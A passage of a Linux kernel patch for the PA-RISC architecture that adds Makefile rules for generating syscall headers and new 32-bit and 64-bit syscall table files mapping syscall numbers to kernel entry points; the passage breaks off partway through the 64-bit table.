+$(uapi)/unistd_64.h: $(syscall64) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abi_syscall_table_32 := 32
+$(out)/syscall_table_32.h: $(syscall32) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_64 := 64
+$(out)/syscall_table_64.h: $(syscall64) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_c32 := c32
+$(out)/syscall_table_c32.h: $(syscall32) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y			+= unistd_32.h unistd_64.h
+syshdr-y			+= syscall_table_32.h     \
+                                   syscall_table_64.h     \
+                                   syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(syshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(out)/,$(syshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall_32.tbl b/arch/parisc/kernel/syscalls/syscall_32.tbl
new file mode 100644
index 0000000..9d66e64d
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall_32.tbl
@@ -0,0 +1,342 @@
+#
+# 32-bit system call numbers and entry vectors
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The abi is always "common" for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall
+1       common  exit                            sys_exit
+2       common  fork                            sys_fork_wrapper
+3       common  read                            sys_read
+4       common  write                           sys_write
+5       common  open                            sys_open                        compat_sys_open
+6       common  close                           sys_close
+7       common  waitpid                         sys_waitpid
+8       common  creat                           sys_creat
+9       common  link                            sys_link
+10      common  unlink                          sys_unlink
+11      common  execve                          sys_execve                      compat_sys_execve
+12      common  chdir                           sys_chdir
+13      common  time                            sys_time                        compat_sys_time
+14      common  mknod                           sys_mknod
+15      common  chmod                           sys_chmod
+16      common  lchown                          sys_lchown
+17      common  socket                          sys_socket
+18      common  stat                            sys_newstat                     compat_sys_newstat
+19      common  lseek                           sys_lseek                       compat_sys_lseek
+20      common  getpid                          sys_getpid
+21      common  mount                           sys_mount                       compat_sys_mount
+22      common  bind                            sys_bind
+23      common  setuid                          sys_setuid
+24      common  getuid                          sys_getuid
+25      common  stime                           sys_stime                       compat_sys_stime
+26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
+27      common  alarm                           sys_alarm
+28      common  fstat                           sys_newfstat                    compat_sys_newfstat
+29      common  pause                           sys_pause
+30      common  utime                           sys_utime                       compat_sys_utime
+31      common  connect                         sys_connect
+32      common  listen                          sys_listen
+33      common  access                          sys_access
+34      common  nice                            sys_nice
+35      common  accept                          sys_accept
+36      common  sync                            sys_sync
+37      common  kill                            sys_kill
+38      common  rename                          sys_rename
+39      common  mkdir                           sys_mkdir
+40      common  rmdir                           sys_rmdir
+41      common  dup                             sys_dup
+42      common  pipe                            sys_pipe
+43      common  times                           sys_times                       compat_sys_times
+44      common  getsockname                     sys_getsockname
+45      common  brk                             sys_brk
+46      common  setgid                          sys_setgid
+47      common  getgid                          sys_getgid
+48      common  signal                          sys_signal
+49      common  geteuid                         sys_geteuid
+50      common  getegid                         sys_getegid
+51      common  acct                            sys_acct
+52      common  umount2                         sys_umount
+53      common  getpeername                     sys_getpeername
+54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
+55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
+56      common  socketpair                      sys_socketpair
+57      common  setpgid                         sys_setpgid
+58      common  send                            sys_send
+59      common  uname                           sys_newuname
+60      common  umask                           sys_umask
+61      common  chroot                          sys_chroot
+62      common  ustat                           sys_ustat                       compat_sys_ustat
+63      common  dup2                            sys_dup2
+64      common  getppid                         sys_getppid
+65      common  getpgrp                         sys_getpgrp
+66      common  setsid                          sys_setsid
+67      common  pivot_root                      sys_pivot_root
+68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
+69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
+70      common  setreuid                        sys_setreuid
+71      common  setregid                        sys_setregid
+72      common  mincore                         sys_mincore
+73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
+74      common  sethostname                     sys_sethostname
+75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
+76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
+77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
+80      common  getgroups                       sys_getgroups
+81      common  setgroups                       sys_setgroups
+82      common  sendto                          sys_sendto
+83      common  symlink                         sys_symlink
+84      common  lstat                           sys_newlstat                    compat_sys_newlstat
+85      common  readlink                        sys_readlink
+86      common  uselib                          sys_ni_syscall
+87      common  swapon                          sys_swapon
+88      common  reboot                          sys_reboot
+89      common  mmap2                           sys_mmap2
+90      common  mmap                            sys_mmap
+91      common  munmap                          sys_munmap
+92      common  truncate                        sys_truncate                    compat_sys_truncate
+93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
+94      common  fchmod                          sys_fchmod
+95      common  fchown                          sys_fchown
+96      common  getpriority                     sys_getpriority
+97      common  setpriority                     sys_setpriority
+98      common  recv                            sys_recv
+99      common  statfs                          sys_statfs                      compat_sys_statfs
+100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
+101     common  stat64                          sys_stat64
+103     common  syslog                          sys_syslog
+104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
+105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
+106     common  capget                          sys_capget
+107     common  capset                          sys_capset
+108     common  pread64                         sys_pread64                     parisc_pread64
+109     common  pwrite64                        sys_pwrite64                    parisc_pwrite64
+110     common  getcwd                          sys_getcwd
+111     common  vhangup                         sys_vhangup
+112     common  fstat64                         sys_fstat64
+113     common  vfork                           sys_vfork_wrapper
+114     common  wait4                           sys_wait4                       compat_sys_wait4
+115     common  swapoff                         sys_swapoff
+116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
+117     common  shutdown                        sys_shutdown
+118     common  fsync                           sys_fsync
+119     common  madvise                         sys_madvise
+120     common  clone                           sys_clone_wrapper
+121     common  setdomainname                   sys_setdomainname
+122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
+123     common  recvfrom                        sys_recvfrom
+124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
+125     common  mprotect                        sys_mprotect
+126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
+128     common  init_module                     sys_init_module
+129     common  delete_module                   sys_delete_module
+131     common  quotactl                        sys_quotactl
+132     common  getpgid                         sys_getpgid
+133     common  fchdir                          sys_fchdir
+134     common  bdflush                         sys_bdflush
+135     common  sysfs                           sys_sysfs
+136     common  personality                     sys_personality                 parisc_personality
+138     common  setfsuid                        sys_setfsuid
+139     common  setfsgid                        sys_setfsgid
+140     common  _llseek                         sys_llseek
+141     common  getdents                        sys_getdents                    compat_sys_getdents
+142     common  _newselect                      sys_select                      compat_sys_select
+143     common  flock                           sys_flock
+144     common  msync                           sys_msync
+145     common  readv                           sys_readv                       compat_sys_readv
+146     common  writev                          sys_writev                      compat_sys_writev
+147     common  getsid                          sys_getsid
+148     common  fdatasync                       sys_fdatasync
+149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
+150     common  mlock                           sys_mlock
+151     common  munlock                         sys_munlock
+152     common  mlockall                        sys_mlockall
+153     common  munlockall                      sys_munlockall
+154     common  sched_setparam                  sys_sched_setparam
+155     common  sched_getparam                  sys_sched_getparam
+156     common  sched_setscheduler              sys_sched_setscheduler
+157     common  sched_getscheduler              sys_sched_getscheduler
+158     common  sched_yield                     sys_sched_yield
+159     common  sched_get_priority_max          sys_sched_get_priority_max
+160     common  sched_get_priority_min          sys_sched_get_priority_min
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
+163     common  mremap                          sys_mremap
+164     common  setresuid                       sys_setresuid
+165     common  getresuid                       sys_getresuid
+166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
+168     common  poll                            sys_poll
+170     common  setresgid                       sys_setresgid
+171     common  getresgid                       sys_getresgid
+172     common  prctl                           sys_prctl
+173     common  rt_sigreturn                    sys_rt_sigreturn
+174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
+180     common  chown                           sys_chown
+181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
+182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
+183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
+184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
+185     common  semop                           sys_semop
+186     common  semget                          sys_semget
+187     common  semctl                          sys_semctl                      compat_sys_semctl
+188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
+189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
+190     common  msgget                          sys_msgget
+191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
+192     common  shmat                           sys_shmat                       compat_sys_shmat
+193     common  shmdt                           sys_shmdt
+194     common  shmget                          sys_shmget
+195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
+198     common  lstat64                         sys_lstat64
+199     common  truncate64                      sys_truncate64                  parisc_truncate64
+200     common  ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
+201     common  getdents64                      sys_getdents64
+202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
+206     common  gettid                          sys_gettid
+207     common  readahead                       sys_readahead                   parisc_readahead
+208     common  tkill                           sys_tkill
+209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
+210     common  futex                           sys_futex                       compat_sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
+215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
+216     common  io_destroy                      sys_io_destroy
+217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
+218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
+219     common  io_cancel                       sys_io_cancel
+222     common  exit_group                      sys_exit_group
+223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create
+225     common  epoll_ctl                       sys_epoll_ctl
+226     common  epoll_wait                      sys_epoll_wait
+227     common  remap_file_pages                sys_remap_file_pages
+228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
+229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink
+231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
+235     common  waitid                          sys_waitid                      compat_sys_waitid
+236     common  fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address
+238     common  setxattr                        sys_setxattr
+239     common  lsetxattr                       sys_lsetxattr
+240     common  fsetxattr                       sys_fsetxattr
+241     common  getxattr                        sys_getxattr
+242     common  lgetxattr                       sys_lgetxattr
+243     common  fgetxattr                       sys_fgetxattr
+244     common  listxattr                       sys_listxattr
+245     common  llistxattr                      sys_llistxattr
+246     common  flistxattr                      sys_flistxattr
+247     common  removexattr                     sys_removexattr
+248     common  lremovexattr                    sys_lremovexattr
+249     common  fremovexattr                    sys_fremovexattr
+250     common  timer_create                    sys_timer_create                compat_sys_timer_create
+251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun
+254     common  timer_delete                    sys_timer_delete
+255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill
+260     common  mbind                           sys_mbind                       compat_sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
+264     common  add_key                         sys_add_key
+265     common  request_key                     sys_request_key
+266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set
+268     common  ioprio_get                      sys_ioprio_get
+269     common  inotify_init                    sys_inotify_init
+270     common  inotify_add_watch               sys_inotify_add_watch
+271     common  inotify_rm_watch                sys_inotify_rm_watch
+272     common  migrate_pages                   sys_migrate_pages
+273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
+274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
+275     common  openat                          sys_openat                      compat_sys_openat
+276     common  mkdirat                         sys_mkdirat
+277     common  mknodat                         sys_mknodat
+278     common  fchownat                        sys_fchownat
+279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
+280     common  fstatat64                       sys_fstatat64
+281     common  unlinkat                        sys_unlinkat
+282     common  renameat                        sys_renameat
+283     common  linkat                          sys_linkat
+284     common  symlinkat                       sys_symlinkat
+285     common  readlinkat                      sys_readlinkat
+286     common  fchmodat                        sys_fchmodat
+287     common  faccessat                       sys_faccessat
+288     common  unshare                         sys_unshare
+289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
+291     common  splice                          sys_splice
+292     common  sync_file_range                 sys_sync_file_range             parisc_sync_file_range
+293     common  tee                             sys_tee
+294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
+295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
+296     common  getcpu                          sys_getcpu
+297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
+298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
+301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
+302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
+304     common  eventfd                         sys_eventfd
+305     common  fallocate                       sys_fallocate                   parisc_fallocate
+306     common  timerfd_create                  sys_timerfd_create
+307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
+310     common  eventfd2                        sys_eventfd2
+311     common  epoll_create1                   sys_epoll_create1
+312     common  dup3                            sys_dup3
+313     common  pipe2                           sys_pipe2
+314     common  inotify_init1                   sys_inotify_init1
+315     common  preadv                          sys_preadv                      compat_sys_preadv
+316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open
+319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
+320     common  accept4                         sys_accept4
+321     common  prlimit64                       sys_prlimit64
+322     common  fanotify_init                   sys_fanotify_init
+323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at
+326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs
+328     common  setns                           sys_setns
+329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
+332     common  kcmp                            sys_kcmp
+333     common  finit_module                    sys_finit_module
+334     common  sched_setattr                   sys_sched_setattr
+335     common  sched_getattr                   sys_sched_getattr
+336     common  utimes                          sys_utimes                      compat_sys_utimes
+337     common  renameat2                       sys_renameat2
+338     common  seccomp                         sys_seccomp
+339     common  getrandom                       sys_getrandom
+340     common  memfd_create                    sys_memfd_create
+341     common  bpf                             sys_bpf
+342     common  execveat                        sys_execveat                    compat_sys_execveat
+343     common  membarrier                      sys_membarrier
+344     common  userfaultfd                     sys_userfaultfd
+345     common  mlock2                          sys_mlock2
+346     common  copy_file_range                 sys_copy_file_range
+347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
+348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
+349     common  statx                           sys_statx
+350	common  io_pgetevents			sys_io_pgetevents		compat_sys_io_pgetevents
\ No newline at end of file
diff --git a/arch/parisc/kernel/syscalls/syscall_64.tbl b/arch/parisc/kernel/syscalls/syscall_64.tbl
new file mode 100644
index 0000000..48d6366
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall_64.tbl
@@ -0,0 +1,342 @@
+#
+# 64-bit system call numbers and entry vectors
+#
+# The format is:
+# <number> <abi> <name> <entry point>
+#
+# The abi is "common" for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall
+1       common  exit                            sys_exit
+2       common  fork                            sys_fork_wrapper
+3       common  read                            sys_read
+4       common  write                           sys_write
+5       common  open                            sys_open
+6       common  close                           sys_close
+7       common  waitpid                         sys_waitpid
+8       common  creat                           sys_creat
+9       common  link                            sys_link
+10      common  unlink                          sys_unlink
+11      common  execve                          sys_execve
+12      common  chdir                           sys_chdir
+13      common  time                            sys_time
+14      common  mknod                           sys_mknod
+15      common  chmod                           sys_chmod
+16      common  lchown                          sys_lchown
+17      common  socket                          sys_socket
+18      common  stat                            sys_newstat
+19      common  lseek                           sys_lseek
+20      common  getpid                          sys_getpid
+21      common  mount                           sys_mount
+22      common  bind                            sys_bind
+23      common  setuid                          sys_setuid
+24      common  getuid                          sys_getuid
+25      common  stime                           sys_stime
+26      common  ptrace                          sys_ptrace
+27      common  alarm                           sys_alarm
+28      common  fstat                           sys_newfstat
+29      common  pause                           sys_pause
+30      common  utime                           sys_utime
+31      common  connect                         sys_connect
+32      common  listen                          sys_listen
+33      common  access                          sys_access
+34      common  nice                            sys_nice
+35      common  accept                          sys_accept
+36      common  sync                            sys_sync
+37      common  kill                            sys_kill
+38      common  rename                          sys_rename
+39      common  mkdir                           sys_mkdir
+40      common  rmdir                           sys_rmdir
+41      common  dup                             sys_dup
+42      common  pipe                            sys_pipe
+43      common  times                           sys_times
+44      common  getsockname                     sys_getsockname
+45      common  brk                             sys_brk
+46      common  setgid                          sys_setgid
+47      common  getgid                          sys_getgid
+48      common  signal                          sys_signal
+49      common  geteuid                         sys_geteuid
+50      common  getegid                         sys_getegid
+51      common  acct                            sys_acct
+52      common  umount2                         sys_umount
+53      common  getpeername                     sys_getpeername
+54      common  ioctl                           sys_ioctl
+55      common  fcntl                           sys_fcntl
+56      common  socketpair                      sys_socketpair
+57      common  setpgid                         sys_setpgid
+58      common  send                            sys_send
+59      common  uname                           sys_newuname
+60      common  umask                           sys_umask
+61      common  chroot                          sys_chroot
+62      common  ustat                           sys_ustat
+63      common  dup2                            sys_dup2
+64      common  getppid                         sys_getppid
+65      common  getpgrp                         sys_getpgrp
+66      common  setsid                          sys_setsid
+67      common  pivot_root                      sys_pivot_root
+68      common  sgetmask                        sys_sgetmask
+69      common  ssetmask                        sys_ssetmask
+70      common  setreuid                        sys_setreuid
+71      common  setregid                        sys_setregid
+72      common  mincore                         sys_mincore
+73      common  sigpending                      sys_sigpending
+74      common  sethostname                     sys_sethostname
+75      common  setrlimit                       sys_setrlimit
+76      common  getrlimit                       sys_getrlimit
+77      common  getrusage                       sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday
+80      common  getgroups                       sys_getgroups
+81      common  setgroups                       sys_setgroups
+82      common  sendto                          sys_sendto
+83      common  symlink                         sys_symlink
+84      common  lstat                           sys_newlstat
+85      common  readlink                        sys_readlink
+86      common  uselib                          sys_ni_syscall
+87      common  swapon                          sys_swapon
+88      common  reboot                          sys_reboot
+89      common  mmap2                           sys_mmap2
+90      common  mmap                            sys_mmap
+91      common  munmap                          sys_munmap
+92      common  truncate                        sys_truncate
+93      common  ftruncate                       sys_ftruncate
+94      common  fchmod                          sys_fchmod
+95      common  fchown                          sys_fchown
+96      common  getpriority                     sys_getpriority
+97      common  setpriority                     sys_setpriority
+98      common  recv                            sys_recv
+99      common  statfs                          sys_statfs
+100     common  fstatfs                         sys_fstatfs
+101     common  stat64                          sys_stat64
+103     common  syslog                          sys_syslog
+104     common  setitimer                       sys_setitimer
+105     common  getitimer                       sys_getitimer
+106     common  capget                          sys_capget
+107     common  capset                          sys_capset
+108     common  pread64                         sys_pread64
+109     common  pwrite64                        sys_pwrite64
+110     common  getcwd                          sys_getcwd
+111     common  vhangup                         sys_vhangup
+112     common  fstat64                         sys_fstat64
+113     common  vfork                           sys_vfork_wrapper
+114     common  wait4                           sys_wait4
+115     common  swapoff                         sys_swapoff
+116     common  sysinfo                         sys_sysinfo
+117     common  shutdown                        sys_shutdown
+118     common  fsync                           sys_fsync
+119     common  madvise                         sys_madvise
+120     common  clone                           sys_clone_wrapper
+121     common  setdomainname                   sys_setdomainname
+122     common  sendfile                        sys_sendfile
+123     common  recvfrom                        sys_recvfrom
+124     common  adjtimex                        sys_adjtimex
+125     common  mprotect                        sys_mprotect
+126     common  sigprocmask                     sys_sigprocmask
+128     common  init_module                     sys_init_module
+129     common  delete_module                   sys_delete_module
+131     common  quotactl                        sys_quotactl
+132     common  getpgid                         sys_getpgid
+133     common  fchdir                          sys_fchdir
+134     common  bdflush                         sys_bdflush
+135     common  sysfs                           sys_sysfs
+136     common  personality                     sys_personality
+138     common  setfsuid                        sys_setfsuid
+139     common  setfsgid                        sys_setfsgid
+140     common  _llseek                         sys_llseek
+141     common  getdents                        sys_getdents
+142     common  _newselect                      sys_select
+143     common  flock                           sys_flock
+144     common  msync                           sys_msync
+145     common  readv                           sys_readv
+146     common  writev                          sys_writev
+147     common  getsid                          sys_getsid
+148     common  fdatasync                       sys_fdatasync
+149     common  _sysctl                         sys_sysctl
+150     common  mlock                           sys_mlock
+151     common  munlock                         sys_munlock
+152     common  mlockall                        sys_mlockall
+153     common  munlockall                      sys_munlockall
+154     common  sched_setparam                  sys_sched_setparam
+155     common  sched_getparam                  sys_sched_getparam
+156     common  sched_setscheduler              sys_sched_setscheduler
+157     common  sched_getscheduler              sys_sched_getscheduler
+158     common  sched_yield                     sys_sched_yield
+159     common  sched_get_priority_max          sys_sched_get_priority_max
+160     common  sched_get_priority_min          sys_sched_get_priority_min
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep
+163     common  mremap                          sys_mremap
+164     common  setresuid                       sys_setresuid
+165     common  getresuid                       sys_getresuid
+166     common  sigaltstack                     sys_sigaltstack
+168     common  poll                            sys_poll
+170     common  setresgid                       sys_setresgid
+171     common  getresgid                       sys_getresgid
+172     common  prctl                           sys_prctl
+173     common  rt_sigreturn                    sys_rt_sigreturn
+174     common  rt_sigaction                    sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend
+180     common  chown                           sys_chown
+181     common  setsockopt                      sys_setsockopt
+182     common  getsockopt                      sys_getsockopt
+183     common  sendmsg                         sys_sendmsg
+184     common  recvmsg                         sys_recvmsg
+185     common  semop                           sys_semop
+186     common  semget                          sys_semget
+187     common  semctl                          sys_semctl
+188     common  msgsnd                          sys_msgsnd
+189     common  msgrcv                          sys_msgrcv
+190     common  msgget                          sys_msgget
+191     common  msgctl                          sys_msgctl
+192     common  shmat                           sys_shmat
+193     common  shmdt                           sys_shmdt
+194     common  shmget                          sys_shmget
+195     common  shmctl                          sys_shmctl
+198     common  lstat64                         sys_lstat64
+199     common  truncate64                      sys_truncate64
+200     common  ftruncate64                     sys_ftruncate64
+201     common  getdents64                      sys_getdents64
+202     common  fcntl64                         sys_fcntl64
+206     common  gettid                          sys_gettid
+207     common  readahead                       sys_readahead
+208     common  tkill                           sys_tkill
+209     common  sendfile64                      sys_sendfile64
+210     common  futex                           sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity
+215     common  io_setup                        sys_io_setup
+216     common  io_destroy                      sys_io_destroy
+217     common  io_getevents                    sys_io_getevents
+218     common  io_submit                       sys_io_submit
+219     common  io_cancel                       sys_io_cancel
+222     common  exit_group                      sys_exit_group
+223     common  lookup_dcookie                  sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create
+225     common  epoll_ctl                       sys_epoll_ctl
+226     common  epoll_wait                      sys_epoll_wait
+227     common  remap_file_pages                sys_remap_file_pages
+228     common  semtimedop                      sys_semtimedop
+229     common  mq_open                         sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink
+231     common  mq_timedsend                    sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr
+235     common  waitid                          sys_waitid
+236     common  fadvise64_64                    sys_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address
+238     common  setxattr                        sys_setxattr
+239     common  lsetxattr                       sys_lsetxattr
+240     common  fsetxattr                       sys_fsetxattr
+241     common  getxattr                        sys_getxattr
+242     common  lgetxattr                       sys_lgetxattr
+243     common  fgetxattr                       sys_fgetxattr
+244     common  listxattr                       sys_listxattr
+245     common  llistxattr                      sys_llistxattr
+246     common  flistxattr                      sys_flistxattr
+247     common  removexattr                     sys_removexattr
+248     common  lremovexattr                    sys_lremovexattr
+249     common  fremovexattr                    sys_fremovexattr
+250     common  timer_create                    sys_timer_create
+251     common  timer_settime                   sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun
+254     common  timer_delete                    sys_timer_delete
+255     common  clock_settime                   sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill
+260     common  mbind                           sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy
+264     common  add_key                         sys_add_key
+265     common  request_key                     sys_request_key
+266     common  keyctl                          sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set
+268     common  ioprio_get                      sys_ioprio_get
+269     common  inotify_init                    sys_inotify_init
+270     common  inotify_add_watch               sys_inotify_add_watch
+271     common  inotify_rm_watch                sys_inotify_rm_watch
+272     common  migrate_pages                   sys_migrate_pages
+273     common  pselect6                        sys_pselect6
+274     common  ppoll                           sys_ppoll
+275     common  openat                          sys_openat
+276     common  mkdirat                         sys_mkdirat
+277     common  mknodat                         sys_mknodat
+278     common  fchownat                        sys_fchownat
+279     common  futimesat                       sys_futimesat
+280     common  fstatat64                       sys_fstatat64
+281     common  unlinkat                        sys_unlinkat
+282     common  renameat                        sys_renameat
+283     common  linkat                          sys_linkat
+284     common  symlinkat                       sys_symlinkat
+285     common  readlinkat                      sys_readlinkat
+286     common  fchmodat                        sys_fchmodat
+287     common  faccessat                       sys_faccessat
+288     common  unshare                         sys_unshare
+289     common  set_robust_list                 sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list
+291     common  splice                          sys_splice
+292     common  sync_file_range                 sys_sync_file_range
+293     common  tee                             sys_tee
+294     common  vmsplice                        sys_vmsplice
+295     common  move_pages                      sys_move_pages
+296     common  getcpu                          sys_getcpu
+297     common  epoll_pwait                     sys_epoll_pwait
+298     common  statfs64                        sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load
+301     common  utimensat                       sys_utimensat
+302     common  signalfd                        sys_signalfd
+304     common  eventfd                         sys_eventfd
+305     common  fallocate                       sys_fallocate
+306     common  timerfd_create                  sys_timerfd_create
+307     common  timerfd_settime                 sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4
+310     common  eventfd2                        sys_eventfd2
+311     common  epoll_create1                   sys_epoll_create1
+312     common  dup3                            sys_dup3
+313     common  pipe2                           sys_pipe2
+314     common  inotify_init1                   sys_inotify_init1
+315     common  preadv                          sys_preadv
+316     common  pwritev                         sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open
+319     common  recvmmsg                        sys_recvmmsg
+320     common  accept4                         sys_accept4
+321     common  prlimit64                       sys_prlimit64
+322     common  fanotify_init                   sys_fanotify_init
+323     common  fanotify_mark                   sys_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at
